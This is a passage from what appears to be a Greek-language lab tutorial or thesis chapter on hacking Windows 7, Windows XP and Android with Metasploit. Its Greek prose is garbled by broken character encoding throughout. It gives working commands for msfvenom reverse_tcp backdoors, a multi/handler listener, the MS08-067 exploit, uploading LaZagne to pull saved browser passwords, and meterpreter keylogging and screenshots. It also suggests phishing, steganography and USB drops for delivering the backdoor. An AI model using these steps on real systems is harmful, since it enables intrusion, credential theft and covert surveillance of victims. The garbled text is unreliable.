smb_version πος είναη ένα module πος εθµεηαιιεωεηαη ηο θενψ αζθάιεηαρ δηαµοίπαζερ απσείυν µέσπη 

θαη ηο windows xp sp2 , ο επηηηζέµενορ παίπνεη αποµαθπςζµένε ππψζβαζε ζηον ςποιογηζηή ηος ζηψσος 

θαη µποπεί να θηάζεη µέσπη θαη ζηο root ηος ζςζηήµαηορ ψπος παίπνεη δηθαηϊµαηα administrator ψπος 

µεηά ο επηηηζέµενορ θάνεη ψηη ζέιεη ζηο αποµαθπςζµένο µεσάνεµα. 
 

Απψ ηα windows xp service pack 3 θαη ωζηεπα ψηη ιεηηοςπγηθψ έσεη θςθιοθοπήζεη δεν ςπάπσεη θάποηο 

ειεωζεπο δηαζέζηµο module ζηεν πιαηθψπµα ηος metasploit πος να πποζβάιεη θαηεςζείαν θάποηο 

θενψ αζθάιεηαρ. 
 

Έναρ ηπψπορ γηα να ζςνδεζεί αποµαθπςζµένα ζε ςποιογηζηέρ µε ιεηηοςπγηθά ζςζηήµαηα ψπυρ windows 

xp service pack 3 , windows 7 , windows 8 , windows 10 είναη να "µοιςνζεί ο ςποιογηζηήρ ππϊηα µε 

θάποηο θαθψβοςιο ιογηζµηθψ" ψπος αςηψ ηο ιογηζµηθψ ζα ανοίξεη θάποηο port θαη ζα ζςνδεζεί αςηψ ζηον 

ςποιογηζηή ηος επηηηζέµενος θαζϊρ ο ςποιογηζηήρ ηος επηηηζέµενος ζα έσεη ενεπγοποηήζεη έναν handler 

θαη έναν listener πος ζα πεπηµένεη να ζςνδεζεί θάποηορ γηα να ξεθηνήζεη ένα session. Απψ ηεν έναπξε ηος 

session θαη ωζηεπα ο επηηηζέµενορ ζα έσεη ποιιέρ επηιογέρ να θάνεη ψπυρ να εσογπαθήζεη απψ ηο 

µηθπψθυνο , να ηπαβήξεη βίνηεο απψ ηεν θάµεπα ηος ζηψσος, να ηπαβήξεη θυηογπαθία απψ ηεν θάµεπα 

ηος ζηψσος , να θαηαγπάτεη ηα πιήθηπα µε keylogging , να ςποθιέτεη θυδηθοωρ θαη άιια ποιιά. 
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εηθψνα 3.112 ππην ξεθηνήζυ ηεν επίζεζε ζηον άιιον ςποιογηζηή θαη πποζπαζήζυ να πάπυ 
αποµαθπςζµένε ππψζβαζε ζα ππέπεη να θηηάξυ ένα απσείο µε ένα payload πος ζα ηοποζεηήζυ ζηον 

ςποιογηζηή ηος ζωµαηορ ζαν backdoor. Ππην θηηάξυ αςηψ ηο απσείο ζα ππέπεη να δυ ηη δηεωζςνζε ip έσυ 

ϊζηε ηο απσείο πος ζα θηηάξυ ψηαν µπεη ζηον ςποιογηζηή ηος ζωµαηορ να ξέπεη ζε ποηον ςποιογηζηή ζα 

ζηείιεη ϊζηε ζηον ςποιογηζηή να ςπάπσεη έναρ listener θαη να ξεθηνήζεη ένα seassion. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.113 µε ηεν ενηοιή msfvenom -p windows/meterpreter/reverce_tcp -e x86/shikata_ga_nai -a x86 - f 

exe LHOST=192.168.1.103 LPORT=4444 R> file.exe. Με ηεν παπαπάνυ ενηοιή ζα δεµηοςπγεζεί ένα απσείο 

µε ψνοµα file.exe. Αςηψ ηο απσείο θηηάσηεθε µέζο ηος επγαιείος msfvenom. Σο ζςγθεθπηµένο απσείο ψηαν µπεη 

ζηον ςποιογηζηή ηος ζωµαηορ ζα δϊζεη αποµαθπςζµένε ππψζβαζε ζηον επηηηζέµενο αν ο επηηηζέµενορ έσεη ηεν 

δηεωζςνζε 192.168.1.103 θαη ζηο port 4444 έσεη θάποηον listener να πεπηµένεη ηεν ζωνδεζε ϊζηε να ξεθηνήζεη ηο 

seassion. Σο απσείο file.exe ψηαν εγθαηαζηαζεί ζηον ςποιογηζηή ηος ζωµαηορ ζα ιεηηοςπγήζεη ζαν backdoor. 
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εηθψνα 3.114 εδϊ είναη ε επηθάνεηα επγαζίαρ ηος ζωµαηορ πος ηπέσεη έναν desktop µε ιεηηοςπγηθψ ζωζηεµα 

windows 7 proffesional. Η δςζθοιία ηερ ηεσνηθήρ είναη µε θάποηον ηπψπο ηο ζωµα να πεπάζεη ζηον ςποιογηζηή 

ηος ηο απσείο πος µψιηρ έθηηαξα ζηο kali linux µε ηο επγαιείο msfvenom. Γηα ηεν εςθοιία ηερ παποςζίαζερ 

απιά µεηέθεπα ηο απσείο ζε ένα usb ζηηθάθη θαη ηο ανηέγπατα ζηεν επηθάνεηα επγαζίαρ. 

 

΢ε µία ππαγµαηηθή επίζεζε ο επηηηζέµενορ ζα πποζπαζοωζε µε θάποηα µέζοδο ζηεγανογπαθίαρ να θπωτεη 

ηο απσείο αςηψ ζε θάποηα εηθψνα παπάδεηγµα πος δεν ζα θαίνεηε ψηη ήηαν γηα θαθψ ζθοπψ θαη ψηαν ο 

ζηψσορ ανοίξεη ηεν εηθψνα ζηο παπαζθήνηο να ηπέξεη θαη ηο απσείο πος θπωβεηε απψ πίζυ θαη να ξεθηνήζεη 

µία αποµαθπςζµένε ππψζβαζε ηος επηηηζέµενος. 
 

Ένα άιιο πηζανψ ζενάπηο απψ ηα ποιιά ζενάπηα ζα ήηαν ο επηηηζέµενορ να ζηείιεη ηο απσείο µέζυ mail 

θαη µε ηεσνηθή phishing να πείζεη ηο ζωµα ψηη ηο ζςγθεθπηµένο απσείο ηον ενδηαθέπεη θαη ηο ζωµα ζα ηο 

θαηεβάζεη ζηον ςποιογηζηή ηος. Αςηψρ ο ηπψπορ είναη ο ποηο δηαδεδοµένορ ποιιά σπψνηα ηϊπα θαη αθψµα 

ιεηηοςπγεί µε επηηςσία. 
 

Ένα ηπίηο πηζανψ ζενάπηο απψ ηα ποιιά ζα µποποωζε να ήηαν ένα usb stick ή θάποηο cd ψπος µέζα ζα 

έσεη ένα script , ζα ανηηγπάτεη ζε θάποηα ζέζε πος δεν ζα θαίνεηε θαη ζα ηπέσεη αςηψµαηα ζηον 

ςποιογηζηή ηος ζηψσος ηο απσείο. Η ζςγθεθπηµένε ηεσνηθή γηα να ζευπεζεί πεηςσεµένε ζα ππέπεη ο 

ζηψσορ να ηο βπεη ηςσαία µε µία παπαπιανεηηθή εηηθέηα απψ έξυ ϊζηε µε ηεσνηθή phishing να ηον βάιεη ζε 

πεπηέπγεηα θαη να ηο ηπέξεη ζηο µεσάνεµά ηος. 
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εηθψνα 3.115 αθοω έσεη εγθαηαζηαζεί ηο απσείο ζηον ςποιογηζηή ηος ζηψσος ηο επψµενο βήµα είναη να 
ανοίξυ ένα ηεπµαηηθψ ζηο Kali linux 2 θαη να δϊζυ ηεν ενηοιή msfconsole ϊζηε να ξεθηνήζεη ηο  
Metasploit. 
 

Αθοω απσίζεη να θοπηϊνεη ηο metasploit ζέιεη ιίγο σπψνο. ΋ηαν θοπηϊζεη ζα δϊζυ ηεν ενηοιή use 

multi/handler ϊζηε να ενεπγοποηήζυ ψπος ε δοςιεηά αςηοω ηος module είναη αν δηασεηπίδεηαη ένα ή 

πεπηζζψηεπα sessions πος είναη ενεπγοποηεµένα µε άιιοςρ ςποιογηζηέρ. 
 

Μαδί µε ηο exploit module ηο handler ζα ππέπεη να οπίζυ θαη ένα payload ψπος ζα σπεηαζηεί ψηαν ηεν 

αδςναµία ηος άιιος ζςζηήµαηορ ζα ηεν εθµεηαιιεςηεί ηο metasploit. ΢ηο ζςγθεθπηµένο ζενάπηο ζα 

σπεζηµοποηήζυ γηα payload ηο reverse_tcp ψπος ψηαν ηο ιογηζµηθψ πος ππψζζεζα ζηον ςποιογηζηή ηος 

ζηψσος θαη ανοίξεη θάποηο backdoor ηψηε αςηψ ηο payload ζα δεµηοςπγήζεη µία ζωνδεζε µεηαξω ηος 

kali linux θαη ηυν windows 7 ηος ζηψσος. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

΢ηεν εηθψνα δείσνεη ηεν δηεωζςνζε Ip ψπος έσεη ζηο ηοπηθψ δίθηςο ο ςποιογηζηήρ ηος 
 
ζηψσος. ΋ηαν ζα δεµηοςπγεζεί ηο season ιογηθά ζα ππέπεη να εµθανηζηεί ζηο ανοησηψ 

session. 
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εηθψνα 3.117 αθοω οπίζαµε ηο reverce_tcp ζαν payload ηος module ηος handler ζα ππέπεη να βάιυ ζε ποηα 

ip να ζςνδεζεί πίζυ ηο reverce_tcp θαη απψ ποηο Port. Θα βάιυ ηεν ip ηος kali linux αθοω ψηαν εθηειεζηεί ηο 

payload απψ ηο backdoor πος ζηήζεθε ζηο windows box ζα ζέιυ να ζςνδεζεί πίζυ ζε εµένα γηα να απσίζεη ηο 

session. Αθοω γίνοςν ψιερ οη πςζµίζεηρ ζα δϊζυ ηεν ενηοιή exploit θαη ζα γίνεη µε επηηςσία ε ζωνδεζε µεηαξω 

ηος Kali linux θαη ηος windows 7 µέζυ ηος backdoor πος ζηήζεθε ζηεν απσή. 

 

΋ηαν ζα ανοίξεη ηο session µεηά ψιε ηεν δοςιεηά ζα ηεν θάνεη ο meterpreter. Αςηψ ηο επγαιείο ζα δίνεη 

αποµαθπςζµένα ενηοιέρ ζηον ςποιογηζηή ηος ζηψσος. Αν δϊζυ ηεν ενηοιή background ζηον 

meterpreter ζα γςπίζυ ζηο metasploit συπίρ να έσεη ηειεηϊζεη ηο session. ΋ποηε επηζςµϊ µποπϊ να 

γςπίζυ πίζυ ζηο session θαη να δίνυ ενηοιέρ µέζυ ηος meterpreter πάιη απθεί να δϊζυ ηεν ενηοιή 

sessions -i id. ΋πος id είναη ο απηζµψρ ηος session πος είναη ενεπγοποηεµένο. 
 
 
 
 
 

 

εηθψνα 3.118 ψηαν δϊζυ ηεν ενηοιή sessions -i 1 ζα γςπίζυ πίζυ ζηο session πος είναη ενεπγοποηεµένο 
ζηο background θαη να δίνυ πάιη ενηοιέρ µέζυ ηος επγαιείος meterpreter. 
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εηθψνα 3.119 αθοω έσυ αποθηήζεη αποµαθπςζµένε ππψζβαζε ζηον ςποιογηζηή ηος ζηψσος , o meterpreter 

εµθανίδεη µία ιίζηα µε επηιογέρ πος µποπϊ να σπεζηµοποηήζυ ζηον ςποιογηζηή ηος ζηψσος. Η ιίζηα είναη 

ποιω µεγαιωηεπε απψ αςηήν ζηο screenshot αιιά γηα ιψγοςρ οηθονοµίαρ σϊπος δεν ζα ηεν βάιυ ψιε ηεν ιίζηα. 

΢ηηρ επηιογέρ ηος meterpreter είναη να ανεβάζυ απσεία ζηον ςποιογηζηή ηος ζηψσος , να θαηεβάζυ απσεία , να 

ζβήζυ να θαηαγπάτυ απψ ηεν θάµεπα βίνηεο ή εηθψνα , να αποζεθεωζυ screenshot απψ ηεν οζψνε ηος ζηψσος 

θαη άιιερ ποιιέρ επηιογέρ. 

 
 

 

Ένα απψ ηα πεηπάµαηα πος ζα θάνυ είναη να πποζπαζήζυ να θιέτυ θυδηθοωρ απψ ηον ςποιογηζηή ηος 

ζηψσος µέζυ ηερ αποµαθπςζµένερ ππψζβαζερ πος µος έσεη δϊζεη ηο metasploit θαη ςπάπσεη µία ανοησηή 

ζωνδεζε µεηαξω ηος kali linux θαη ηος ςποιογηζηή ηος ζηψσος. Θέιυ να δυ ηη θυδηθοωρ µποπϊ να βπυ 

πος είναη αποζεθεςµένοη ζηοςρ browsers ηος ζηψσος. Γηα ηεν ιωζε αςηήν ζα βοεζήζεη ένα ππψγπαµµα πος 

ιέγεηε lazagne. 
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3.3.1 retrieving passwords from windows box from remote access 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.120 Απψ ηεν ζειίδα ηος github µποπεί θάποηορ σπήζηερ να θαηεβάζεη ηο lazagne. Σο lazagne 
 

είναη ένα επγαιείο ειεωζεπος ιογηζµηθοω πος ε δοςιεία ηος είναη να βπίζθεη αποζεθεςµένοςρ θυδηθοωρ ζε 
έναν ςποιογηζηή. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.121 ε αποζήθεςζε ηος lazagne έγηνε ζηον θάθειο Downloads. Σο θάνυ unzip θαη ηο µεηαθηνϊ 
ζηεν επηθάνεηα επγαζίαρ γηα εςθοιία να ηο βπίζθυ. 
 
 
 
 
 

 

εηθψνα 3.122 
 

θαζϊρ έγηνε αςηή ε δηαδηθαζία να θαηεβάζυ ηο ππψγπαµµα lazagne θαη να ηο µεηαθηνήζυ ζηεν επηθάνεηα 

επγαζίαρ ηο metasploit θαη ηο session µεηαξω ηος kali linux θαη ηος windows 7 box δεν ηεπµαηίζηεθαν 

ποηέ. Ξαναγςπνάυ ζηον meterpreter θαη δίνυ ηεν ενηοιή να θάνεη upload ηο laZagne.exe ζηον ςποιογηζηή 

ηος ζηψσος. 
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εηθψνα 3.123 γςπίζυ ζηο άιιο pc µε ηα windows 7 θαη ζα ηπέξυ ηον mozilla firefox. 

Θα πιεθηποιογήζυ ένα username θαη ένα password ψπος θςζηθά δεν ανήθοςν ζε 

θάποηον σπήζηε. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

εηθψνα 3.124 αθοω έβαια ηα ζηοησεία ηος σπήζηε πποζπάζεζα να θάνυ log in. Ο ιογαπηαζµψρ δεν ςπάπσεη 

αιιά δεν έσεη ζεµαζία αςηψ. Ο browser πυηάεη αν ζέιυ να ζςµάµαη αςηψ ηο log in. Θα παηήζυ ηεν επηιογή 

remember ϊζηε να αποζεθεωζεη ηο username θαη ηο password µέζα ζηον ςποιογηζηή να δυ αν ηο laZagne 

θαηαθέπεη να ηο βπεη θαη να ηο ηπαβήξυ ηο username θαη ηο password µέζα απψ ηο metasploit ζηο 

Kali linux. 
 

εηθψνα 3.125 ψπυρ 
 

θαίνεηε µεηά ηεν 

αποζήθεςζε ηος 

username Καη ηος 

password απψ ηον 

mozilla firefox ζηον 

ςποιογηζηή ζηψσο 

µεηά απψ ηο kali linux 

µέζυ ηος meterpreter 
 

πήγα ζηεν ζέζε 

Desktop ηος ζηψσος , 

ηο εθηέιεζα θαη 
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θαηάθεπε να εµθανίζεη ηο username θαη ηο password πος σπεζηµοποίεζε ο ζηψσορ ζηεν 

ηζηοζειίδα θοηνυνηθήρ δηθηωυζερ facebook. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

αθοω θαηάθεπα να ηπαβήξυ ηον θυδηθψ πος ήηαν αποζεθεςµένορ ζηο windows 7 box µε ηο 
 

lazagne.exe ζα πποζπαζήζυ να σπεζηµοποηήζυ έναν keylogger πος έσεη ο meterpreter. 
 

Αθοω είναη ήδε ανοησηψ ηο session µε ηον άιιον ςποιογηζηή ζα δϊζυ ηεν ενηοιή keyscan_start θαη 

ζα απσίζεη να θαηαγπάθεη ψηη παηάυ ζηον ςποιογηζηή ζηψσο. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

εηθψνα 3.128 ζηον ςποιογηζηή µε ηα windows 7 είσα ήδε ανοησηψ ηον mozilla firefox ζα πιεθηποιογήζυ ηεν 

δηεωζςνζε θαη ζα βάιυ ηα ζηοησεία να δυ αν ηο keylogger ηος meterpreter θαηαθέπεη να ηα θαηαγπάτεη. 
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εηθψνα 3.129 αθοω έγπατα ηεν δηεωζςνζε ηος facebook.com θαη έβαια ηα ζηοησεία ζέιυ να δυ αν ηα 
θαηέγπατε ο keylogger. Θα δϊζυ ηεν ενηοιή keyscan_dump ζηον meterpreter γηα να δυ αν ηα θαηέγπατε θαη 

ηα αποζήθεςζε. 
 

΋πυρ θαίνεηε ζηεν εηθψνα ζηον browser ζηον ςποιογηζηή ηος ζηψσος δεν έγπατα www.facebook.com αιιά 

απψ βηαζωνε έγπατα faceboo.com αιιά θαη πάιη ηο θψπηυζε. Αποζήθεςζε ηο Enter πος πάηεζα θαη ηο 

ζςµβοιίδεη ζαν <Return> , θαη θαηέγπατε ηα ζηοησεία πος έβαια ζηεν θψπµα log in ηος facebook. 

θαηέγπατε µία ζςµβοιοζεηπά axmytestemail@g αιιά απψ ψηη θαίνεηε έγηνε µία δηψπζυζε θαη έζβεζα ηο g 

ψπος ηο backspace ζςµβοιίδεηε µε <Back>. ΢ςνέσηζα µε ηο email.com. Πάηεζα ηο <Tab> γηα να πάυ ζηεν 

δίπια θψπµα να βάιυ ηον θυδηθψ , πιεθηποιψγεζα ηο password123 θαη πάηεζα ηο θοςµπί enter. Ο 

keylogger ηος meterpreter ηα θαηέγπατε ψια µε επηηςσία. 
 

3.4 hacking windows xp sp2 box with metasploit 
 

εηθψνα 3.130 αςηήν ηεν θοπά ζα πποζπαζήζυ να ζςνδεζϊ αποµαθπςζµένα ζε ένα windows xp sp2 µέζυ 

ηος kali linux θαη ηο επγαιείο metasploit. Αςηψ ηο πείπαµα είναη πάπα ποιω εωθοιο γηαηί ηο windows xp service 

pack 2 έσεη ένα θενψ αζθάιεηαρ ζηο smb service πος είναη ςπεωζςνο γηα ηεν δηαµοίπαζε απσείυν. Αςηψ 

ζεµαίνεη ψηη ηο metasploit ζα έσεη ήδε δηαζέζηµο ένα module να θάνεη θαηεςζείαν exploit ηο θενψ αζθαιείαρ 

αςηοω ηος bug θαη δεν ζα σπεηαζηεί παπαπάνυ δηαδηθαζία ψπυρ ππην πος έππεπε να θάνυ πποεπγαζία θαη να 

ζηήζυ backdoor ζηο windows 7 box γηα να θαηαθέπυ να ζςνδεζϊ. 
 
 
 
 
 
 
 
 

 

εηθψνα 3.131 ηο 
 

module πος ζα 

σπεζηµοποηήζυ 

µέζυ ηος 

metasploit ιέγεηε 

ms08_067_netapi. 
 

βπίζθεηε ζηεν 

ζέζε 

exploit/windows/s 

mb/ms08_067_net 

api. Αν ο σπήζηερ 

δϊζεη ηεν ενηοιή 
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use exploit/windows/smb/ms08_067_netapi ζηο metasploit ζα ενεπγοποηεζεί θαη ζα είναη έηοηµο γηα σπήζε. 
 

Σο µψνο πος αποµένεη είναη να πποζζέζυ ηεν ip ηος ζηψσος , ηο port ηος ζηψσος πος ηπέσεη ε ςπεπεζία 

ηος smb θαη να πποζζέζυ ένα payload. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.132 γηα 
 

να ζςνδεζϊ 

αποµαθπςζµένα 

ζηο windows box 
 

θανονηθά έναρ 

σπήζηερ ππϊηα 

σπεζηµοποηεί 

information 

gathering επγαιεία 

ψπυρ ηο ηο nmap 

γηα να ζθανάπεη ηο 
 
ηοπηθψ δίθηςο θαη γηα να µάζεη πεπηζζψηεπερ πιεποθοπίερ γηα ηοςρ ζηψσοςρ ψπυρ ηη ports έσοςν ανοησηά, 

ηη εθαπµογέρ θαη ςπεπεζίερ εξςπεπεηοωνηαη , ηη ιεηηοςπγηθά ζςζηήµαηα είναη , ηη εςπάζεηερ έσοςν. 

Τπάπσοςν άπεηπα επγαιεία γηα αςηήν ηεν πποεπγαζία ππην ηεν επηηςσεµένε επίζεζε ψπυρ ηο nessus θαη ηο 

nmap. Σο nmap to δείσνυ ζε άιιε παποςζίαζε θαη γηα ιψγοςρ οηθονοµίαρ δεν ζα ξαναδείξυ ηο ίδηο. 
 

Θα πάυ θαηεςζείαν ζηο windows xp box ψπος ηπέσυ µέζυ Oracle vm virtual box θαη ζα δυ ηη 

δηεωζςνζε ηος έσεη δϊζεη ο dhcp server πος ηος έσεη δϊζεη ο pfsense router θαη ε ηοπηθή δηεωζςνζε πος 

πήπε ηο windows box είναη 192.168.0.176 . 
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εηθψνα 3.133 
 

αθοω ξέπυ ηη 

δηεωζςνζε ip έσεη ο 

ζηψσορ ζηο ηοπηθψ 

δίθηςο ζα πςζµίζυ 

ηο exploit module 
 

να έσεη ζαν ζηψσο 

ηεν δηεωζςνζε 
 

192.168.0.176 θαη 

γηα να ηος ηο πυ 

αςηψ ζα δϊζυ ηεν 

ενηοιή 

 

set RHOST 192.168.0.176 . 
 

Γηα να πςζµίζυ ηο exploit module ζε ποηο port ζα πποζπαζήζεη να εθµεηαιιεςηεί ηεν εςπάζεηα ηος 

ζςζηήµαηορ ζηεν δηεωζςνζε 192.168.0.176 ζα ηος πυ να επηηεζεί µέζυ ηος port 445 ψπος είναη ηο 

default port πος σπεζηµοποηοων ηα windows xp γηα ηεν ςπεπεζία smb δηαµοίπαζε απσείυν. Θα δϊζυ ηεν 

ενηοιή set RPORT 445. 
 

Σο module είναη ζσεδψν πςζµηζµένο. Έµεηνε θάηη αθψµα να πποζζέζυ πος ξέσαζα να ηο βάιυ ζε 

screenshot. Σο exploit module είναη έηοηµο να εθµεηαιιεςηεί ηο θενψ αζθαιείαρ ηερ smb ςπεπεζίαρ αιιά 

δεν ππψζζεζα ηο payload. Σο payload είναη έναρ θϊδηθαρ πος ζα θάνεη inject µέζα ζηο ζωζηεµα. ΋ηαν ηο 

ms08_067_netapi εθµεηαιιεςηεί ηο θενψ αζθάιεηαρ ηο payload πος ζα αθοιοςζήζεη ζα είναη ο θϊδηθαρ 

πος ζα ηπέξεη µέζα ζηο µεσάνεµα ηος ζηψσος. Σο payload πος ζα σπεζηµοποηήζυ ιέγεηε reverce_tcp θαη 

βπίζθεηε ζηεν ζέζε windows/meterpreter/reverce_tcp. 
 

Γηα να ηο θοπηϊζυ ζηο module ζα πιεθηποιογήζυ ηεν ενηοιή set payload 
 
windows/meterpreter/reverce_tcp . 
 

Επψµενο βήµα είναη να πςζµίζυ ζε ποηον host ζα επηζηπέτεη ηο payload γηα να ξεθηνήζεη ένα session. 

Θα πιεθηποιογήζυ ηεν Ip ηος kali linux γηα να ζςνδεζεί µε εµένα ηο windows box µέζο ηος payload. 
 

δίνυ ηεν ενηοιή set lhost 192.168.0.41 
 

Σεν δηεωζςνζε ip ηεν γνυπίδεη αιιά ππέπεη να ξέπεη απψ ποηο port ζα θάνεη ηεν ζωνδεζε. Θα ηος δϊζυ ηο  
Port 4444. set lport 4444 
 
 
 
 

εηθψνα οη ενηοιέρ 
 

θαη ηα 

αποηειέζµαηα πος 

ξέσαζα να βγάιυ 
 

screenshot θαηά ηεν ϊπα ηος πεηπάµαηορ θαη ηα γπάθυ ζε ένα .txt ηη ενηοιέρ δίνεη θάποηορ γηα να 

θοπηϊζεη ηο payload reverce_tcp θαη πυρ απανηάεη ο metaspoit. 
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εηθψνα Αθοω έσυ θάνεη 
ψηη πςζµίζεηρ σπεηάδονηαη 

γηα να ιεηηοςπγήζεη 

ζυζηά ηο exploit module 

ζα δϊζυ ηεν ενηοιή 

exploit. Η εθµεηάιιεςζε 

ηος θενοω αζθαιείαρ 

έγηνε µε επηηςσία θαη έσεη 

 

ξεθηνήζεη ένα session µεηαξω ηος kali linux θαη ηος µεσανήµαηορ windows xp. Ο meterpreter είναη 

έηοηµορ να δεσηεί ενηοιέρ να ηηρ εθηειέζεη ζηο άιιο µεσάνεµα. 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.134 αν δϊζυ ζηον meterpreter ηεν ενηοιή sysinfo ζα µος δείξεη ζηοησεία γηα ηον άιιον 
ςποιογηζηή ψπυρ ιεπηοµέπεηερ γηα ηο ιεηηοςπγηθψ ζωζηεµα πος ηπέσεη. 
 
 
 
 
 

 

εηθψνα 3.135 αν δϊζυ ηεν ενηοιή screenshot ζα αποζεθεωζεη ζηεν ζέζε /root/ ένα screenshot απψ ηεν 
οζψνε ηος ζηψσος. Αν εθείνε ηεν ζηηγµή θάνεη µία επγαζία ή είναη παπαηηεµένορ ο ςποιογηζηήρ ζηεν 

επηθάνεηα επγαζίαρ ζα ηο εµθανίζεη αςηψ ηο ζηηγµηψηςπο ζε µία εηθψνα. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

εηθψνα 3.136 ηο screenshot πος ηπάβεξε ο meterpreter αποζεθεωηεθε ζηεν ζέζε /root/. 
 

 

109 



malware , active hacking ,passive hacking 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.137 απψ ηο screenshot πος ηπάβεξε o meterpreter απψ ηο windows box. 
 
 
 
 
 
 
 
 

 

εηθψνα 3.138 ζηον meterpreter ζα θαηεςζςνζϊ µέζα ζηον ςποιογηζηή ηος windows box Καη ζα πάυ ζηεν 
ζέζε c:\\ ψπος είναη ηο ανηίζηοησο ηος /root ζε ένα linux µεσάνεµα. 
 

Θα δϊζυ ηεν ενηοιή mkdir hacker θαη ζα θηηάξυ έναν θάθειο εθεί πέπα πος ζα ιέγεηε hacker. 
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εηθψνα 3.139 ο θάθειορ δεµηοςπγήζεθε µέζα ζηο windows box ζηεν ζέζε c:/ . Έναρ white hat hacker ζα 

µποποωζε µέζα ζε αςηψν ηον θάθειο να αθήζεη ένα .txt µε θάποηο µήνςµα ψπος να αναθέπεη ψηη ο 

ςποιογηζηήρ ηος είναη εςάιυηορ ζε επηζέζεηρ θαη να θαιωτεη θάποηα θενά αζθάιεηαρ ή να θάνεη θάποηα 

updates. Θα ηος εξεγοωζε πος ήηαν ηο θενψ γηα να ηο θαιωτεη ππην ηο θάνεη θάποηορ θαθψβοςιορ σπήζηερ. 

Απψ ηεν άιιε έναρ black hacker ζα εθµεηαιιεςψηαν αςηψ ηο θενψ συπίρ να γίνεη ανηηιεπηψρ θαη ζα µποποωζε 

να παπαθοιοςζήζεη µέζυ µηθποθϊνος ε θάµεπαρ , να ανεβάζεη απσεία ,να ζβήζεη απσεία , να µεηαηπέτεη 

απσεία θαη πιεποθοπίερ ή να ηος θιέτεη ζηοησεία , ηπαπεδηθοωρ ιογαπηαζµοωρ θαη άιια ποιωηηµα απψππεηα 

ζηοησεία. 
 
 

 

3.5 hacking android smartphone with metasploit 
 

Μία ζςζθεςή smartphone µε ιεηηοςπγηθψ ζωζηεµα android γηα να ηεν hackarei θάποηορ επηηηζέµενορ ζα 

αθοιοςζήζεη ηον ηεν ίδηα ηεσνηθή πεπίπος πος πεπηγπάθυ θαη ζηο ποηο πάνυ θεθάιαηο ζηο πυρ σαθάποςν 

ένα windows 7 box. 
 

Επεηδή οη ζςζθεςέρ android δεν έσοςν θάποηο θενψ αζθαιείαρ πος να είναη γνυζηψ ζηο θοηνψ ϊζηε να έσεη 

θάποηο exploit module να εθµεηαιιεωεηαη ηο θενψ αζθαιείαρ µε επηηςσία θαη να αποθηά ηο metasploit 

αποµαθπςζµένε ππψζβαζε έναρ ηπψπορ πος πεηςσένεη είναη µε θαθψβοςιο ιογηζµηθψ. Να ζηεζεί ένα 

απσείο ππϊηα ζηο android device ηος ζηψσος ϊζηε αςηψ να σπεζηµοποηεζεί ζαν backdoor. Αςηψ ηο απσείο 

ζα πποζπαζεί να θάνεη ζωνδεζε πίζυ ζηο kali linux ζηεν ζςγθεθπηµένε δηεωζςνζε πος ζα έσεη οπηζηεί να 

ειέγσεη ηο backdoor θαη ζηο ζςγθεθπηµένο Port , ψπος ζηο ζςγθεθπηµένο port ζηο µεσάνεµα µε ηο kali 

linux ζα ςπάπσεη έναρ listener ϊζηε να εγθαζηδπωζεη µία ζωνεζε µεηαξω ηυν 2 µεσανεµάηυν. 
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Γηα ηεν δεµηοςπγία αςηοω ηος απσείος ππέπεη να γνυπίδυ ηεν δηεωζςνζε ip πος έσεη ηο kali linux ϊζηε 

ψηαν ζα µπεη ζηεν ζςζθεςή ηος ζηψσος να ξέπεη ζε ποηα δηεωζςνζε να ζςνδεζεί. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.140 ππην δεµηοςπγήζυ ηο απσείο πος ζα µε εξςπεπεηήζεη ζαν backdoor ζα ππέπεη να µάζυ ηη 
 

δηεωζςνζε ip έσεη δϊζεη ο dhcp server ζηο µεσάνεµα µε ηο kali linux. 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.141 Θα δϊζυ ζηον command prompt ηεν ενηοιή msfvenom -p 
 

android/meterpreter/reverce_tcp LHOST=192.168.1.103 LPORT=4444 R > upgrade.exe. Με ηεν 

παπαπάνυ ενηοιή ζα δεµηοςπγεζεί ένα απσείο µε ψνοµα upgrade.apk. Αςηψ ηο απσείο θηηάσηεθε µέζο 

ηος επγαιείος msfvenom. Σο ζςγθεθπηµένο απσείο ψηαν µπεη ζηον ςποιογηζηή ηος ζωµαηορ ζα δϊζεη 

αποµαθπςζµένε ππψζβαζε ζηον επηηηζέµενο αν ο επηηηζέµενορ έσεη ηεν δηεωζςνζε 192.168.1.103 θαη ζηο 

port 4444 έσεη θάποηον listener να πεπηµένεη ηεν ζωνδεζε ϊζηε να ξεθηνήζεη ηο seassion. Σο απσείο 

upgrade.exe ψηαν εγθαηαζηαζεί ζηον ςποιογηζηή ηος ζωµαηορ ζα ιεηηοςπγήζεη ζαν backdoor. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.142 µψιηρ δεµηοςπγήζεθε ηο απσείο upgrade.apk θαη είναη έηοηµο γηα εγθαηάζηαζε µέζα ζηο 
 

android device. 
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εηθψνα 3.143 ζωνδεζα 

ηεν ζςζθεςή android µε 

ένα usb θαιϊδηο θαη έβαια 

µέζα ηο απσείο πος 

δεµηοωπγεζα. Κανονηθά 

έναρ πος αζσοιείηαη µε ηο 
 
penetration testing δεν ζα ηο έθανε αςηψ εθηψρ αν ο σπήζηερ ηος θηνεηοω ήηαν ποιω αππψζεσηορ. 
 

Γηα ηεν εςθοιία ηερ παποςζίαζερ απιά µεηέθεπα ηο απσείο µε ένα θαιϊδηο usb θαη ηο ηοποζέηεζα 

µέζα ζηεν ζςζθεςή ηος android. 

 

